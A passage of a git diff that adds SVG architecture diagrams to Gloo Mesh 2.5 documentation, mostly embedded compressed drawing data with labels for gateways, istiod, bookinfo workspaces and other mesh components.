JxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/platform/2-5/default/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/platform/2-5/default/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx1MDAxYpZo9Vx1MDAxZGU2hKRcdTAwMWNxojEjfFx1MDAwNav0Pd99S1x1MDAxZGY0te+ei7fv+uXh6nStSjOfXHUwMDA3TIRajDuQ22PJbcdcdTAwMWSAlFx1MDAxNFx1MDAxNNNcdTAwMWTWktxcdTAwMDSZPLzf9PB1rXN/cjvovmfsVIJcdTAwMTTszZHJjob9aoDn7YipciFLKb3rv5zcVOlx/lxybWHcrS/vMsDj/8B9XHUwMDAyk1x1MDAxMFx1MDAxOVxiRrp5noxcdTAwMWXPXHUwMDEwvp4xXHUwMDA1JkLPf/9cdTAwMTXMwFxc5tneg1x1MDAxOUzMvFSE0fiGM+xcdTAwMDCK7CNbYolcdTAwMGXfQbZcdTAwMDRcdTAwMGLug2bOXHUwMDFmTdnWyNxnV3D68bWGqvYh6T8+Plx1MDAxZbXFw2W8XHUwMDExiGKLmVx1MDAxMjS2XGJEm1wixkTq3Vx1MDAxNYPZqOfFRHZHWTI6Stdxlz/xgpqO6psjha817K5wwtanu1xmJ/g/cI84gfKQsi/wPKZXSaxcZl/PmOJcdTAwMDTF3ThBabRXnODNkuBcdTAwMThLRHZYrSqGMGFcdTAwMWZJXHUwMDEyS1x1MDAxNO1cdTAwMGWSJGhcdTAwMThKJ1x1MDAwNCnMouOE/pBcZif49vrptj654+Pi0W3mKlx1MDAxOW+cYHrTuUE6j1pcXH9cdTAwMGZcdTAwMTVcdTAwMTgwXHUwMDE1mjFcdTAwMWPTXHUwMDEyXGa5Qlx1MDAxZmdy2czkKNlcdTAwMWHdTItPT/e3w81179dcdTAwMWF2V0coW5/uMqTg/8Dd46U9IFx1MDAxMLr4V0diuUbI9FiKLFx1MDAwM8P3KaZcYlx1MDAwNKTgPIzql6uCf95cdTAwMTlKXHUwMDE0XGJCXHUwMDEw0oqL7+WpXGJNvNhcdTAwMTFcdTAwMDRZosO3m3jBg0vyXHUwMDEzzDjXRPDoXHUwMDA3JeFO4piGJitFLCy5xMCDilx07Vx1MDAwZeaTiFlKflLeXHUwMDA1JYpyzlx1MDAxMWZU+LXyW5p3gblmXGI4XHUwMDAy7y7AKVx1MDAxNsHJ4YeKXHUwMDA37sRcdTAwMGImiUJUXHUwMDExKVx1MDAwNVx1MDAxNo6U44NtZ16E+1x1MDAxOFx1MDAwZkIyL/h3yLzwp25z7SzzQrDgxuBmWYEuV+g4XHUwMDEyjixjKt60kFx1MDAxNkNaXCJNqTYtiFx1MDAxN8SbsDD9nMRcdTAwMGLTL5ArIHjYf+nT12hZ4lx1MDAwNVZUwOcl+1x1MDAxMW7zmt1IXHUwMDEzQk1cdTAwMTNSRVx1MDAxNZc+sm1LqVx1MDAxN+Go5CA49UL5T+pflnvhT9vm2jD3XCJQtElcdTAwMWVcXI3LeI3QSi1Sw83FmIo2U5Xc4tpcdTAwMDA3iThCjp6xMy8uJaD8OTO7Qlx1MDAxOFx0aTmysXAz9KxhJpoxQrj0M6hMtV9cZsyqgDVcdTAwMDTxtmzDWCityS5cdTAwMWKvbyrd5l9rXHUwMDAz6Vx1MDAxNlmQXHUwMDAwSJphWS6IsUJcdTAwMTCmXHUwMDBlvvojSLhrhzHyoqRI0i3c7bswKVPeXHUwMDEwc1x1MDAwMkSDgeSkT2qZOekkQnKqXHUwMDAw5Vx1MDAxOcv0S4u3RCB5m8tD2Ctcbrhw77hcblx1MDAxMXJqVlx1MDAxOYCt4Fx1MDAxObq6zTVcdTAwMWZOK1x1MDAwZlx1MDAwZqXpYHTXOuq/tFW8veNSXHRcdTAwMGJcZpePy1x1MDAxZGhL0TbTXHJcdTAwMDJbxq3lKpdcdTAwMWNcdTAwMTA98Ek8z9Rt3u/gh0zhvXp2dft+UVx1MDAxYtdPOlx1MDAwMVx1MDAxMeZxiL5LXHUwMDE274/xNbtcdTAwMTh3y9f4Lj/Ul2fvXHUwMDEx20GFjlt5K6fkSeeomW3QjDqbZJvHyYCqhiuNu/XlXeYr939gxNk2n1kq94iyr93rcXfIa5la8vY52ip46HTXvnIw5YIkoqJYaq1W6NFcdTAwMTK+TTF1lUuNw0RcInHnXHUwMDFlXHUwMDA0i8TFk8FcdTAwMWT5zZkxu5VE3yrZXHUwMDAwXkqjYd25uJv7zUPavy1T7YtO8z/zW1x1MDAxZpmw4LRcdTAwMWZcbtaX4HiF4NpBul6d3sinWvaFXHUwMDE16cXwJV0v5uJcdTAwMGVMpEXV/HJ7zVx1MDAxOWOxXHUwMDA1JsC3gFx1MDAxYzVn8Uw3aHXK90P2fHv+8k6OXHUwMDA2MtW9fk5cdTAwMDRAiFx1MDAxZmSy+rg7Wt6tXHUwMDBmu1xm8Pg/cJ/ARIXkQVxu46UkOnpcdTAwMThh+HrGXHUwMDE2mZAwmShIvJBcdDFlYoRk5FtBkz485qDVaDdcXGDjXHUwMDEzzvWXKHmf0ML5PDfAKSFFmFx1MDAwNaZcbtNVXHUwMDBlwNLHMn90enw+aL2Mi6R1Yd8nXHUwMDA2cccpPMxakDHGKUhITjDdY2X0MI33nq1f91nriF7Qs5s7zVLDZvXiXHUwMDA3p2xcdTAwMGKn7Gh5v8qwy+CP/1x1MDAwM/dcdH9ksJzFmCOQNCi6pzp8PWNcdTAwMGJ/UJio1TGDP5hxTLnGe7RcdTAwMDP3XHUwMDEy0VhtfG4841x1MDAxMtDgjWc0XHUwMDEzXFxcdTAwMWbwcFx1MDAxNFx1MDAxY0zMXHUwMDE10KjQKyCead7ujVx1MDAwYrXbTuH+9UWWaq+DMb5aXHUwMDA38XxcdTAwMWVcdTAwMWJcdTAwMTJEhYVcdTAwMWSXu9QqXGZALeG8XHUwMDFmyIi/XHUwMDE4NVx1MDAxY/OUbVaulreFeSRcdTAwMDe8JtRcdTAwMWWDjMO03Fx1MDAxZHuwz25K+DhHXHUwMDEyp4mbUTtTTpz/QJ5tQZ5cdTAwMWQt71dcdTAwMTl2XHUwMDE55PF/YMTZNl6f33Wmm32q83yGoExPJKa9aHv26VCKhySkYiVAiDNcdTAwMWNdgofvU0yhlGl6XHUwMDEwKsOJ+3awXGb/LDBFKKP8m2GpxmDY6FY/XHUwMDE1TC3BI4tg6vdcZjdAUySwioWUiFx1MDAwYk2iXHUwMDFiNe3aRF2VXHUwMDFleTN5kns8Olx1MDAxZZf00XUm3lhcbjOhLYdHV+NcdTAwMDU+RIBy+PzSgXxcdTAwMThcdTAwMDVLbdl/RLBcdMBxps7FXHRMXHUwMDE1ivaw8ahcdTAwMGbtm+nxpF+sXHUwMDFkv5SSlVx1MDAxZjC1LTC1o+Xd+rDLUI//XHUwMDAzI862+9hcdTAwMTk+XZxO8NOk9PDSez/Jjt/xXHUwMDE2XHUwMDE2t1F/LCX7r1x1MDAwM14uyKtM4+r0PZe428K4KjsqXHUwMDFllScniVHznYrc+01LZ1wiXHUwMDEy71x1MDAxZVBaYN1/TjCAXHUwMDAxuYKZXHUwMDFkTlYxXHUwMDA1aYB2WLhy0Fx1MDAxNo+kXHUwMDFjdlx1MDAwMtLYPLPzo9cqJkxIuceYzD2gtFSr2z24tlx1MDAwN/WDfzqlmmv9XHUwMDFjgI25P7g1wLZcdTAwMDT0LFx1MDAwMrb5ZH9NdT3WRIGsXHQkwE100lxunVxmb1x1MDAwZsXlNJNLXHUwMDFmqaPGyaifS7H0Y1D109jwpqn0R5ikXHUwMDFj/jNhke7MkFx1MDAwNGFcdTAwMTbXiFwiSjUlSlBnstnqwC2UN1x1MDAxOfXpzEG96Vx1MDAxZlx1MDAxY1x1MDAxMZiosyd1nNDankJkfTlfrc75KXjguDQ5qHTbvW5n9oX9hIDDmNlaaKLra1x1MDAwNLO7z1xmQ3k/MC9M6cBcdTAwMDBhjiVRjKHoYTjh21x1MDAxZUuTTUtqcUJMylx1MDAxZHC+YG7OXHUwMDA3xpdEmmxcdTAwMTWCsFxiyXfdyF4jyDJ5gERLxIRcIsQrXHUwMDAwiFBcdTAwMTbDXG5cYl9xJrjD4f1RaYghXHL/dtiqJFx1MDAxNulg4drlwJlXilxi4Fx1MDAxNywkNb37XHUwMDE4Uj59xqhFMay3IJgyXHUwMDBlXHUwMDE08CdcdTAwMTlpxXSw8GjiXHUwMD